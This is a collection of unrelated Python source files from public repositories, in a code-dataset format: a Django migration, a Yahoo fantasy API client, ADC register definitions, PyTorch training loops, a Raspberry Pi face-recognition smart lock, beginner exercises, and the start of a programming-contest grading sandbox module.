model_name='schoolprofile',\n name='other_academic',\n field=models.TextField(null=True, blank=True, help_text=\"Please describe any unique offerings, staff and additional resources that relate to your school's academic theme.\", verbose_name='Academic theme'),\n ),\n migrations.AlterField(\n model_name='schoolprofile',\n name='principal_bio',\n field=models.TextField(null=True, help_text='Please provide a brief bio for the principal.', blank=True),\n ),\n migrations.AlterField(\n model_name='schoolprofile',\n name='service_leadership',\n field=models.TextField(null=True, blank=True, help_text='Please describe your service & leadership extracurricular offerings.', verbose_name='Service & leadership'),\n ),\n migrations.AlterField(\n model_name='schoolprofile',\n name='survey_feedback',\n field=models.TextField(null=True, help_text='Thank you for taking the time to complete this survey! Please let us know if you have any feedback on the process or on specific questions so we can improve next year.', blank=True),\n ),\n migrations.AlterField(\n model_name='schoolprofile',\n name='theme',\n field=models.TextField(null=True, help_text='If your school has a particular theme or focus area, please enter the appropriate theme. Typically one from the following list will apply: Math & Science, Arts, Language, College Ready, Montessori, Project-Based, Vocational Training, or Not Applicable - our school is for students of all backgrounds and interests.', blank=True),\n ),\n ]\n","repo_name":"codefordurham/school-navigator","sub_path":"schools/migrations/0032_auto_20160419_1915.py","file_name":"0032_auto_20160419_1915.py","file_ext":"py","file_size_in_byte":2794,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"47"} +{"seq_id":"8032222727","text":"import requests \nfrom yahoo_oauth import OAuth2\nimport xml.etree.ElementTree as ET\nimport os.path \n\nhome_league_id = 'nfl.l.165477'\nhome_team_id = 1\nurl = 'https://fantasysports.yahooapis.com/fantasy/v2/league/{}'\nsecrets_path = \"~/workspace/ff-rankings/secrets.json\"\noauth = OAuth2(None, None, from_file=os.path.expanduser(secrets_path))\n\n\ndef write(filename:str, txt:str) -> None: \n with open(os.path.expanduser(filename), 'w') as f: \n f.write(txt)\n\ndef parse_xml(xml, type:str): \n ns = '{http://fantasysports.yahooapis.com/fantasy/v2/base.rng}'\n players_xpath = f'.//{ns}league/{ns}players'\n player_name_xpath=f'./{ns}name/{ns}full'\n team_name_xpath = f'./{ns}editorial_team_full_name'\n def_pos_xpath = f'./{ns}display_position'\n root = ET.fromstring(xml)\n if type == \"available\":\n players_lst = list(root.find(players_xpath))\n available = [] \n for child in players_lst: \n if child.find(def_pos_xpath).text == 'DEF': \n name = child.find(team_name_xpath)\n else: \n name = child.find(player_name_xpath)\n available.append(name.text)\n return available \n elif type == \"rostered\":\n rostered_xpath = f'.//{ns}team/{ns}roster/{ns}players'\n players_lst = list(root.find(rostered_xpath))\n rostered = []\n for child in players_lst:\n if child.find(def_pos_xpath).text == 'DEF': \n name = child.find(team_name_xpath)\n else: \n name = child.find(player_name_xpath)\n rostered.append(name.text)\n\n return rostered \n\ndef get_available_players(league_id):\n params = \"/players;status=A;start={};count=25\"\n start = 0\n done = False \n available = []\n while not done: \n response = oauth.session.get(url.format(league_id) + params.format(start))\n write('~/workspace/ff-rankings/output/yahoo_debug',response.text)\n parsed_response = parse_xml(response.text, \"available\")\n available.extend(parsed_response)\n start+= 25\n if len(parsed_response) < 25:\n done = True \n return available \ndef get_team_roster(league_id, team_id): \n id = league_id + '.t.' + str(team_id)\n rostered_url = f\"https://fantasysports.yahooapis.com/fantasy/v2/team/{id}/roster/players\"\n response = oauth.session.get(rostered_url)\n return parse_xml(response.text, \"rostered\")\n\n\nif __name__ == '__main__':\n val = get_available_players()\n print(val)","repo_name":"rahulShahCode/ff-rankings","sub_path":"src/py/yahoo.py","file_name":"yahoo.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71158321102","text":"import sys\nimport random\n\nsampling_number = int(sys.argv[1])\nreservoir_array = [''] * sampling_number\niteration = 0\n\n#using the standard input\n\nfor next_item in sys.stdin:\n\n \t#fill the reservoir array with k first items\n\n\tif iteration < sampling_number:\n \t\treservoir_array[iteration] = next_item\n \n\t#k+1 iteration to n\n\telse:\n\t\tposition_to_be_replaced = random.randint(0, iteration)\n\t\tif position_to_be_replaced < sampling_number:\n\t\t\treservoir_array[position_to_be_replaced] = next_item\n\n\titeration+=1\n\n#using the standard output\n\nsys.stdout.write(''.join(map(str, reservoir_array)) + '\\n')\n\n\n","repo_name":"leobouts/data_science_practice","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20839186302","text":"#!/usr/bin/env python3\n\n\"\"\"\nMCP3901 Register Definitions\nReference: DS22192C\n\"\"\"\n\nimport ctypes\nfrom enum import IntEnum\n\nfrom .register import Register\n\n\nclass Address(IntEnum):\n \"\"\"Register Address\"\"\"\n\n DATA_CH0 = 0x00\n \"\"\"Channel 0 ADC Data <23:0>, MSB First\"\"\"\n DATA_CH1 = 0x03\n \"\"\"Channel 1 ADC Data <23:0>, MSB First\"\"\"\n MOD = 0x06\n \"\"\"Delta Sigma Modulators Output Register\"\"\"\n PHASE = 0x07\n \"\"\"Phase Delay Configuration Register\"\"\"\n GAIN = 0x08\n \"\"\"Gain Configuration Register\"\"\"\n STATUS_COM = 0x09\n \"\"\"Status / Communication Register\"\"\"\n CONFIG1 = 0x0A\n \"\"\"Configuration Register 1\"\"\"\n CONFIG2 = 0x0B\n \"\"\"Configuration Register 2\"\"\"\n\n\nclass GainReg(Register):\n \"\"\"Gain Configuration Register\"\"\"\n _fields_ = [('pga_ch1', ctypes.c_uint8, 3),\n ('boost', ctypes.c_uint8, 2),\n ('pga_ch0', ctypes.c_uint8, 3)]\n\n class Pga(IntEnum):\n \"\"\"PGA Setting bits\"\"\"\n x32 = 0b101\n x16 = 0b100\n x8 = 0b011\n x4 = 0b010\n x2 = 0b001\n x1 = 0b000\n \"\"\"(DEFAULT)\"\"\"\n\n class Boost(IntEnum):\n \"\"\"Current Scaling for High-Speed Operation bits\"\"\"\n both = 0b11\n \"\"\"Both channels have current x 2\"\"\"\n ch1 = 0b10\n \"\"\"Channel 1 has current x 2\"\"\"\n ch0 = 0b01\n \"\"\"Channel 0 has current x 2\"\"\"\n neither = 0b00\n \"\"\"Neither channel has current x 2 (DEFAULT)\"\"\"\n\n def __init__(self, pga_ch1=Pga.x1, boost=Boost.neither, pga_ch0=Pga.x1):\n super().__init__(pga_ch1, boost, pga_ch0)\n\n\nclass StatusComReg(Register):\n \"\"\"Status and Communication Register\"\"\"\n _fields_ = [('read', ctypes.c_uint8, 2),\n ('dr_lty', ctypes.c_uint8, 1),\n ('dr_hizn', ctypes.c_uint8, 1),\n ('drmode', ctypes.c_uint8, 2),\n ('drstatus', ctypes.c_uint8, 2)]\n\n class Read(IntEnum):\n \"\"\"Address Loop Setting bits\"\"\"\n all = 0b11\n \"\"\"Address counter loops on entire register map\"\"\"\n types = 0b10\n \"\"\"Address counter loops on register types (default)\"\"\"\n groups = 0b01\n \"\"\"Address counter loops on register groups\"\"\"\n off = 0b00\n \"\"\"Address not incremented, continually read same single register\"\"\"\n\n class DR_Lty(IntEnum):\n \"\"\"Data Ready Latency Control bit\"\"\"\n off = 1\n \"\"\"No Latency Conversion, DR pulses after 3 DRCLK periods (default)\"\"\"\n on = 0\n \"\"\"Unsettled Data is available after every DRCLK period\"\"\"\n\n class DR_HIZn(IntEnum):\n \"\"\"Data Ready Pin Inactive State Control bit\"\"\"\n logic_high = 1\n \"\"\"The data ready pin default state is a logic high when data is NOT ready\"\"\"\n high_z = 0\n \"\"\"The data ready pin default state is high-impedance when data is NOT ready (default)\"\"\"\n\n class DRMode(IntEnum):\n \"\"\"Data Ready Pin (DR) Control bits\"\"\"\n both = 0b11\n \"\"\"Both Data Ready pulses from ADC0 and ADC Channel 1 are output on the DR pin.\"\"\"\n ch1 = 0b10\n \"\"\"Data Ready pulses from ADC Channel 1 are output on the DR pin.\n DR from ADC Channel 0 are not present on the pin.\"\"\"\n ch0 = 0b01\n \"\"\"Data Ready pulses from ADC Channel 0 are output on the DR pin.\n DR from ADC Channel 1 are not present on the pin.\"\"\"\n lag = 0b00\n \"\"\"Data Ready pulses from the lagging ADC between the two are output on the DR pin.\n The lagging ADC selection depends on the PHASE register and on the OSR (default).\"\"\"\n\n class DRStatus(IntEnum):\n \"\"\"Data Ready Status bits\"\"\"\n none = 0b11\n \"\"\"ADC Channel 1 and Channel 0 data is not ready (default)\"\"\"\n ch0 = 0b10\n \"\"\"ADC Channel 1 data is not ready, ADC Channel 0 data is ready\"\"\"\n ch1 = 0b01\n \"\"\"ADC Channel 0 data is not ready, ADC Channel 1 data is ready\"\"\"\n both = 0b00\n \"\"\"ADC Channel 1 and Channel 0 data is ready\"\"\"\n\n def __init__(self, read=Read.types, dr_lty=DR_Lty.off, dr_hizn=DR_HIZn.high_z, drmode=DRMode.lag,\n drstatus=DRStatus.none):\n super().__init__(read, dr_lty, dr_hizn, drmode, drstatus)\n\n\nclass Config1Reg(Register):\n \"\"\"Configuration Register 1\"\"\"\n _fields_ = [('prescale', ctypes.c_uint8, 2),\n ('osr', ctypes.c_uint8, 2),\n ('width', ctypes.c_uint8, 2),\n ('modout', ctypes.c_uint8, 2)]\n\n class Prescale(IntEnum):\n \"\"\"Internal Master Clock (AMCLK) Prescaler Value bits\"\"\"\n pre8 = 0b11\n pre4 = 0b10\n pre2 = 0b01\n pre1 = 0b00\n \"\"\"(DEFAULT)\"\"\"\n\n class Osr(IntEnum):\n \"\"\"Oversampling Ratio for Delta-Sigma A/D Conversion bits (all channels, DMCLK/DRCLK)\"\"\"\n osr256 = 0b11\n osr128 = 0b10\n osr64 = 0b01\n \"\"\"(DEFAULT)\"\"\"\n osr32 = 0b00\n\n class Width(IntEnum):\n \"\"\"ADC Channel Output Data Word Width bits\"\"\"\n w24 = 1\n \"\"\"24-bit mode\"\"\"\n w16 = 0\n \"\"\"16-bit mode (default)\"\"\"\n\n class ModOut(IntEnum):\n \"\"\"Modulator Output Setting for MDAT Pins bits\"\"\"\n both = 0b11\n \"\"\"Both CH0 and CH1 modulator outputs present on MDAT1 and MDAT0 pins\"\"\"\n ch1 = 0b10\n \"\"\"CH1 ADC modulator output present on MDAT1 pin\"\"\"\n ch0 = 0b01\n \"\"\"CH0 ADC modulator output present on MDAT0 pin\"\"\"\n off = 0b00\n \"\"\"No modulator output is enabled (default)\"\"\"\n\n def __init__(self, prescale=Prescale.pre1, osr=Osr.osr64, width=Width.w16, modout=ModOut.off):\n super().__init__(prescale, osr, width, modout)\n\n\nclass Config2Reg(Register):\n \"\"\"Configuration Register 2\"\"\"\n _fields_ = [('reset', ctypes.c_uint8, 2),\n ('shutdown', ctypes.c_uint8, 2),\n ('dither', ctypes.c_uint8, 2),\n ('vrefext', ctypes.c_uint8, 1),\n ('clkext', ctypes.c_uint8, 1)]\n\n class Reset(IntEnum):\n \"\"\"Reset Mode Setting for ADCs bits\"\"\"\n both = 0b11\n \"\"\"Both CH0 and CH1 ADC are in Reset mode\"\"\"\n ch1 = 0b10\n \"\"\"CH1 ADC in Reset mode\"\"\"\n ch0 = 0b01\n \"\"\"CH0 ADC in Reset mode\"\"\"\n neither = 0b00\n \"\"\"Neither Channel in Reset mode (default)\"\"\"\n\n class Shutdown(IntEnum):\n \"\"\"Shutdown Mode Setting for ADCs bits\"\"\"\n both = 0b11\n \"\"\"Both CH0 and CH1 ADC are in Shutdown\"\"\"\n ch1 = 0b10\n \"\"\"CH1 ADC is in shutdown\"\"\"\n ch0 = 0b01\n \"\"\"CH0 ADC is in shutdown\"\"\"\n neither = 0b00\n \"\"\"Neither Channel is in shutdown (default)\"\"\"\n\n class Dither(IntEnum):\n \"\"\"Control for Dithering Circuit bits\"\"\"\n both = 0b11\n \"\"\"Both CH0 and CH1 ADC have dithering circuit applied (default)\"\"\"\n ch1 = 0b10\n \"\"\"Only CH1 ADC has dithering circuit applied\"\"\"\n ch0 = 0b01\n \"\"\"Only CH0 ADC has dithering circuit applied\"\"\"\n neither = 0b00\n \"\"\"Neither Channel has dithering circuit applied\"\"\"\n\n class VrefExt(IntEnum):\n \"\"\"Internal Voltage Reference Shutdown Control bit\"\"\"\n external = 1\n \"\"\"Internal voltage reference disabled,\n an external voltage reference must be placed between REFIN+/OUT and REFIN-\"\"\"\n internal = 0\n \"\"\"Internal voltage reference enabled (default)\"\"\"\n\n class ClkExt(IntEnum):\n \"\"\"Clock Mode bit\"\"\"\n external = 1\n \"\"\"External Clock mode (internal oscillator disabled and bypassed - lower power)\"\"\"\n crystal = 0\n \"\"\"XT mode - A crystal must be placed between OSC1/OSC2 (default)\"\"\"\n\n def __init__(self, reset=Reset.neither, shutdown=Shutdown.neither, dither=Dither.both, vrefext=VrefExt.internal,\n clkext=ClkExt.crystal):\n super().__init__(reset, shutdown, dither, vrefext, clkext)\n","repo_name":"masatomizuta/py-adc","sub_path":"adc/mcp3901_register.py","file_name":"mcp3901_register.py","file_ext":"py","file_size_in_byte":7813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6185745004","text":"import torch\nimport torch.optim as optim\nimport torch.nn.functional as F\n\ndef train(model, train_loader, lr):\n ## Construct optimizer\n optimizer = optim.AdamW(model.parameters(), lr=lr)\n \n ## Set phase\n model.train()\n \n ## Train start\n total_loss = 0.\n for data, target in train_loader:\n ## data.shape = (batch_size, 22)\n ## target.shape = (batch_size, 1)\n ## initilize gradient\n optimizer.zero_grad()\n ## predict\n output, _ = model(data, target) # output.shape = (batch_size, 1)\n ## loss\n loss = F.mse_loss(output, target)\n ## backpropagation\n loss.backward()\n optimizer.step()\n ## Logging\n total_loss += loss.item()\n total_loss /= len(train_loader)\n return total_loss\n\ndef valid(model, valid_loader):\n ## Set phase\n model.eval()\n \n ## Valid start \n total_loss = 0.\n outputs = torch.Tensor().cuda()\n with torch.no_grad():\n for data, target in valid_loader:\n output, _ = model(data, target)\n loss = F.mse_loss(output, target) # mean squared error\n total_loss += loss.item()\n outputs = torch.cat((outputs, output))\n total_loss /= len(valid_loader)\n return total_loss, outputs","repo_name":"addb-swstarlab/K2vTune","sub_path":"models/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"47"} +{"seq_id":"70847635662","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8\r\n\r\nimport nltk \r\n \r\n#去标点 \r\ntext = \"Hello. I am python. everybody good.everybody is good!\".lower() \r\nprint(text)\r\ntext_list = nltk.word_tokenize(text) \r\n#去掉标点符号 \r\nenglish_punctuations = [',', '.', ':', ';', '?', '(', ')', '[', ']', '&', '!', '*', '@', '#', '$', '%'] \r\ntext_list2 = [word for word in text_list if word not in english_punctuations] \r\nprint(text_list2)\r\n","repo_name":"daniu101/NLTK","sub_path":"text_handle/biaodian.py","file_name":"biaodian.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"6366265447","text":"import face_recognition\nimport numpy\nimport os\nimport picamera\nimport time\nimport matplotlib.pyplot as plt\nimport RPi.GPIO as GPIO\nfrom PIL import Image\nfrom ublox_lara_r2 import *\n\nclass SmartLock:\n\tdef __init__(self, relay_pin = 5, known_faces_path='known_faces/'):\n\t\tself.__init_hardware(relay_pin)\n\t\tself.__init_recognise(known_faces_path)\n\t\t\n\t\tself.__init_ublox()\n\t\n\tdef load_known_faces(self):\n\t\tknown_faces = os.listdir(self.__known_faces_path)\n\t\t\n\t\tfor known_face in known_faces:\n\t\t\tself.__known_faces_name.append(known_face[0 : len(known_face) - len('.jpg')])\n\t\t\t\n\t\t\tknown_face_image = face_recognition.load_image_file(self.__known_faces_path + known_face)\n\t\t\tself.__known_faces_encoding.append(face_recognition.face_encodings(known_face_image)[0])\n\t\t\n\t\treturn len(self.__known_faces_encoding)\n\t\n\tdef capture_and_recognise(self):\n\t\tself.__camera.capture(self.__capture, format='rgb')\n\t\t\n\t\tface_locations = face_recognition.face_locations(self.__capture)\n\t\tface_encodings = face_recognition.face_encodings(self.__capture, face_locations)\n\t\tfor face_encoding in face_encodings:\n\t\t\tself.__matched = face_recognition.compare_faces(self.__known_faces_encoding, face_encoding)\n\t\t\n\t\treturn self.__recognise_face_names()\n\t\n\tdef unlock(self):\n\t\tif self.__matched.count(True) > 0:\n\t\t\timg = Image.open('{}/{}.jpg'.format(self.__known_faces_path, self.__known_faces_name[0]))\n\t\t\tplt.imshow(img)\n\t\t\tself.__send_sms()\n\t\t\t\n\t\t\tplt.ion()\n\t\t\tGPIO.output(self.__relay_pin, GPIO.HIGH)\n\t\t\tprint('Door opened')\n\t\t\t\n\t\t\tplt.pause(3)\n\t\t\t\n\t\t\tplt.close()\n\t\t\tGPIO.output(self.__relay_pin, GPIO.LOW)\n\t\t\tself.__reset_recognise_params()\n\t\t\t\n\t\t\treturn True\n\t\t\n\t\tself.__retry_count += 1\n\t\tprint('Please try again...{}'.format(self.__retry_count))\n\t\t\n\t\treturn False\n\t\n\t@property\n\tdef phonenum(self):\n\t\treturn self.__phonenum\n\t\n\t@phonenum.setter\n\tdef phonenum(self, phonenum):\n\t\tself.__phonenum = phonenum\n\t\n\tdef __init_hardware(self, relay_pin):\n\t\t# init pin of relay\n\t\tGPIO.setmode(GPIO.BOARD)\n\t\tGPIO.setwarnings(False)\n\t\tself.__relay_pin = relay_pin\n\t\tGPIO.setup(self.__relay_pin, GPIO.OUT)\n\t\t\n\t\t# init raspberry pi camera\n\t\tself.__camera = picamera.PiCamera()\n\t\tself.__camera.resolution = (320, 240)\n\t\tself.__capture = numpy.empty((240, 320, 3), dtype=numpy.uint8)\n\t\n\tdef __init_recognise(self, known_faces_path):\n\t\t# initialize known face parameters\n\t\tself.__known_faces_name = []\n\t\tself.__known_faces_encoding = []\n\t\tself.__known_faces_path = known_faces_path\n\t\t\n\t\tself.__reset_recognise_params()\n\t\n\tdef __init_ublox(self):\n\t\tself.__ublox = Ublox_lara_r2()\n\t\tself.__ublox.initialize()\n\t\tself.__ublox.reset_power()\n\t\t\n\t\tself.__phonenum = None\n\t\tself.__ublox.debug = False\n\t\n\tdef __reset_recognise_params(self):\n\t\tself.__matched = []\n\t\tself.__retry_count = 0\n\t\n\tdef __recognise_face_names(self):\n\t\tmatch_names = []\n\t\t\n\t\tfor i in range(0, len(self.__matched)):\n\t\t\tif self.__matched[i]:\n\t\t\t\tmatch_names.append(self.__known_faces_name[i])\n\t\t\n\t\treturn match_names\n\t\n\tdef __send_sms(self):\n\t\tif self.__phonenum == None:\n\t\t\treturn False\n\t\t\n\t\tfor unlocker in self.__recognise_face_names():\n\t\t\tif self.__ublox.sendAT('AT+CMGF=1\\r\\n'):\n\t\t\t\tprint(self.__ublox.response)\n\t\t\t\n\t\t\tif self.__ublox.sendAT('AT+CMGS=\"{}\"\\r\\n'.format(self.__phonenum)):\n\t\t\t\tprint(self.__ublox.response)\n\t\t\t\n\t\t\tif self.__ublox.sendAT('{} enter the room.\\x1a'.format(unlocker)):\n\t\t\t\tprint(self.__ublox.response)\n\nif __name__ == '__main__':\n\tlock = SmartLock()\n\t\n\tprint('Loading known faces...')\n\tprint('{} known face(s) loaded.'.format(lock.load_known_faces()))\n\t\n\tlock.phonenum = ''\n\t\n\twhile True:\n\t\tfor name in lock.capture_and_recognise():\n\t\t\tprint('Hello, {}.'.format(name))\n\t\t\n\t\tlock.unlock()\n\t\t\n","repo_name":"SeeedDocument/Projects","sub_path":"smart_lock/smart_lock.py","file_name":"smart_lock.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"30163678707","text":"import collections\nimport os\n\nimport numpy as np\nimport random\n\nimport torch\nfrom .build_dataset import build_train_dataset_and_sampler, build_valid_dataset_and_sampler\n\ndef build_train_loader(dataset_train, train_sampler, config, distributed):\n batch_size = config.DATALOADER.BATCH_SIZE\n num_workers = config.DATALOADER.NUM_WORKERS\n g = torch.Generator()\n g.manual_seed(0)\n\n data_loader_train = torch.utils.data.DataLoader(\n dataset_train, \n batch_size=batch_size,\n sampler=train_sampler, \n num_workers=num_workers, \n pin_memory=True,\n worker_init_fn=seed_worker,\n generator=g,\n drop_last=True\n )\n\n return data_loader_train\n\ndef build_valid_loader(dataset_valid, valid_sampler, config, distributed):\n batch_size = config.DATALOADER.BATCH_SIZE\n num_workers = config.DATALOADER.NUM_WORKERS\n\n data_loader_valid = torch.utils.data.DataLoader(\n dataset_valid, \n batch_size=batch_size,\n sampler=valid_sampler, \n num_workers=num_workers, \n pin_memory=True,\n drop_last=True\n )\n\n return data_loader_valid\n\ndef seed_worker(worker_id):\n worker_seed = torch.initial_seed() % 2**32\n np.random.seed(worker_seed)\n random.seed(worker_seed)","repo_name":"bobenxia/qat","sub_path":"dataset/build_dataloader.py","file_name":"build_dataloader.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12532148883","text":"#!/usr/bin/python3\n\"\"\"this lists all the states in the given database\"\"\"\n\nimport sys\n\nfrom relationship_city import Base, City\nfrom relationship_state import State\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nif __name__ == \"__main__\":\n engine = create_engine(\n \"mysql+mysqldb://{}:{}@localhost/{}\".format(\n sys.argv[1], sys.argv[2], sys.argv[3]\n ),\n pool_pre_ping=True,\n )\n Base.metadata.create_all(engine)\n\n Session = sessionmaker(bind=engine)\n session = Session()\n\n state = City(name=\"San Francisco\", state=State(name=\"California\"))\n session.add(state)\n session.commit()\n","repo_name":"redeks12/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/100-relationship_states_cities.py","file_name":"100-relationship_states_cities.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23172538028","text":"# 832. Flipping an Image\n# Time: O(N*k)\n# Space: O(N)\n\nclass Solution:\n def flipAndInvertImage(self, A):\n \"\"\"\n :type A: List[List[int]]\n :rtype: List[List[int]]\n \"\"\"\n res = []\n for row in A:\n reversed_row = []\n for i in range(len(row) - 1, -1, -1):\n reversed_row.append(1 - row[i])\n res.append(reversed_row)\n return res","repo_name":"npalgit/LeetCode-3","sub_path":"832. Flipping an Image.py","file_name":"832. Flipping an Image.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1745994071","text":"#string is a collection two or more character \r\n'''\r\n1. A String can be encolsed in single, double, thriple code\r\n2. A string can be accessed using the index \r\n3. Index can be postive can be negative\r\n4. A string can itreated using forloop \r\n'''\r\n'''s=\"Sayed\"\r\n#print(type(s))\r\n#print(s[-6])\r\ns2=\"Sibgath\"\r\ns3=s+s2\r\nprint(s3)'''\r\n\r\n#In reat two string from the user , print the string by combaning the last letter of both string. \r\n'''str1=input(\"enter the first string:-\")\r\nstr2=input(\"enter the second string:-\")\r\nlaststr1=str1[-1]\r\nlaststr2=str2[-1]\r\nfinalstring=laststr1+laststr2\r\nprint(finalstring)'''\r\n\r\n#Accessing the a string character \r\n'''s1=\"Sayed Sibgath\"\r\nfor i in s1:\r\n print(i)'''\r\n \r\n#Count the number of vovel in your name \r\n'''s1=\"Sayed Sibgath\"\r\ncount=0\r\nfor i in s1:\r\n if i==\"a\"or i==\"e\" or i==\"i\" or i==\"o\"or i==\"u\":\r\n count=count+1\r\nprint(count)'''\r\n\r\n'''s1=\"Sayed Sibgath\"\r\n#length of a string \r\nlength=len(s1)\r\n#print(length)\r\ncount=0\r\nfor i in range(length):\r\n if s1[i]==\"a\" or s1[i]==\"e\" or s1[i]==\"i\" or s1[i]==\"o\" or s1[i]==\"u\":\r\n count=count+1\r\nprint(count)'''\r\n\r\n# A string slicing \r\n'''s1=\"Sayed Sibgath\"\r\nslice1 =s1[5:9]\r\nprint (slice1)'''\r\n\r\n\r\n# Write a programme to print first half of string \r\ns=input(\"enter the string:-\")\r\nlength=len(s)\r\nmid=int(length/2)\r\n#print (mid)\r\nsliceans=s[2:]\r\nprint(sliceans)\r\n\r\n","repo_name":"SayedSibgath27/Console-Python","sub_path":"string.py","file_name":"string.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11523140787","text":"import logging\n\nfrom cms import config\nfrom cms.grading.Sandbox import Sandbox\nfrom .messages import HumanMessage, MessageCollection\nfrom .stats import execution_stats\n\n\nlogger = logging.getLogger(__name__)\n\n\n# Dummy function to mark translatable strings.\ndef N_(message):\n return message\n\n\nEVALUATION_MESSAGES = MessageCollection([\n HumanMessage(\"success\",\n N_(\"Output is correct\"),\n N_(\"Your submission ran and gave the correct answer\")),\n HumanMessage(\"partial\",\n N_(\"Output is partially correct\"),\n N_(\"Your submission ran and gave the partially correct \"\n \"answer\")),\n HumanMessage(\"wrong\",\n N_(\"Output isn't correct\"),\n N_(\"Your submission ran, but gave the wrong answer\")),\n HumanMessage(\"nooutput\",\n N_(\"Evaluation didn't produce file %s\"),\n N_(\"Your submission ran, but did not write on the \"\n \"correct output file\")),\n HumanMessage(\"timeout\",\n N_(\"Execution timed out\"),\n N_(\"Your submission used too much CPU time.\")),\n HumanMessage(\"walltimeout\",\n N_(\"Execution timed out (wall clock limit exceeded)\"),\n N_(\"Your submission used too much total time. This might \"\n \"be triggered by undefined code, or buffer overflow, \"\n \"for example. Note that in this case the CPU time \"\n \"visible in the submission details might be much smaller \"\n \"than the time limit.\")),\n HumanMessage(\"signal\",\n N_(\"Execution killed (could be triggered by violating memory \"\n \"limits)\"),\n N_(\"The evaluation was killed by a signal. \"\n \"Among other things, this might be caused by exceeding \"\n \"the memory limit. Note that if this is the reason, \"\n \"the memory usage visible in the submission details is \"\n \"the usage before the allocation that caused the \"\n \"signal.\")),\n HumanMessage(\"returncode\",\n N_(\"Execution failed because the return code was nonzero\"),\n N_(\"Your submission failed because it exited with a return \"\n \"code different from 0.\")),\n])\n\n\ndef evaluation_step(sandbox, commands,\n time_limit=None, memory_limit=None,\n dirs_map=None, writable_files=None,\n stdin_redirect=None, stdout_redirect=None,\n multiprocess=False):\n \"\"\"Execute some evaluation commands in the sandbox.\n\n Execute the commands sequentially in the (already created) sandbox, after\n setting up an environment suitable for evaluation, tweaked as instructed\n by the arguments.\n\n Terminate early after a command if the sandbox fails.\n\n sandbox (Sandbox): the sandbox we consider, already created.\n commands ([[str]]): evaluation commands to execute.\n time_limit (float|None): time limit in seconds (applied to each command);\n if None, no time limit is enforced.\n memory_limit (int|None): memory limit in bytes (applied to each command);\n if None, no memory limit is enforced.\n dirs_map ({str: (str|None, str|None)}|None): if not None, a dict\n from external directories to a pair of strings: the first is the path\n they should be mapped to inside the sandbox, the second, is\n isolate's options for the mapping.\n writable_files ([str]|None): a list of inner file names (relative to\n the inner path) on which the command is allow to write, or None to\n indicate that all files are read-only; if applicable, redirected\n output and the standard error are implicitly added to the files\n allowed.\n stdin_redirect (str|None): the name of the file that will be redirected\n to the standard input of each command; if None, nothing will be\n provided to stdin.\n stdout_redirect (str|None): the name of the file that the standard output\n of each command will be redirected to; if None, \"stdout.txt\" will be\n used.\n multiprocess (bool): whether to allow multiple thread/processes or not.\n\n return ((bool, bool|None, dict|None)): a tuple with three items:\n * success: True if the sandbox did not fail, in any command;\n * evaluation_success: True if the solution ran correctly and the output\n can be evaluated, False if it terminated with an error or was\n terminated due to resource limitation; None if success is False;\n * stats: a dictionary with statistics about the evaluation, or None\n if success is False.\n\n raise (ValueError): if time or memory limit are non-positive.\n\n \"\"\"\n for command in commands:\n success = evaluation_step_before_run(\n sandbox, command, time_limit, memory_limit,\n dirs_map, writable_files, stdin_redirect, stdout_redirect,\n multiprocess, wait=True)\n if not success:\n logger.debug(\"Job failed in evaluation_step_before_run.\")\n return False, None, None\n\n success, evaluation_success, stats = evaluation_step_after_run(sandbox)\n if not success:\n logger.debug(\"Job failed in evaluation_step_after_run: %r\", stats)\n\n return success, evaluation_success, stats\n\n\ndef evaluation_step_before_run(sandbox, command,\n time_limit=None, memory_limit=None,\n dirs_map=None, writable_files=None,\n stdin_redirect=None, stdout_redirect=None,\n multiprocess=False, wait=False):\n \"\"\"First part of an evaluation step, up to the execution, included.\n\n See evaluation_step for the meaning of the common arguments. This version\n only accepts one command, and in addition the argument \"wait\" to decide\n whether to make the run blocking or not.\n\n wait (bool): if True, block until the command terminates.\n\n return (bool|Popen): sandbox success if wait is True, the process if not.\n\n \"\"\"\n # Ensure parameters are appropriate.\n if time_limit is not None and time_limit <= 0:\n raise ValueError(\"Time limit must be positive, is %s\" % time_limit)\n if memory_limit is not None and memory_limit <= 0:\n raise ValueError(\n \"Memory limit must be positive, is %s\" % memory_limit)\n\n # Default parameters handling.\n if dirs_map is None:\n dirs_map = {}\n if writable_files is None:\n writable_files = []\n if stdout_redirect is None:\n stdout_redirect = \"stdout.txt\"\n\n # Set sandbox parameters suitable for evaluation.\n if time_limit is not None:\n sandbox.timeout = time_limit\n sandbox.wallclock_timeout = 2 * time_limit + 1\n else:\n sandbox.timeout = None\n sandbox.wallclock_timeout = None\n\n if memory_limit is not None:\n sandbox.address_space = memory_limit\n else:\n sandbox.address_space = None\n\n # config.max_file_size is in KiB\n sandbox.fsize = config.max_file_size * 1024\n\n sandbox.stdin_file = stdin_redirect\n sandbox.stdout_file = stdout_redirect\n sandbox.stderr_file = \"stderr.txt\"\n\n for src, (dest, options) in dirs_map.items():\n sandbox.add_mapped_directory(src, dest=dest, 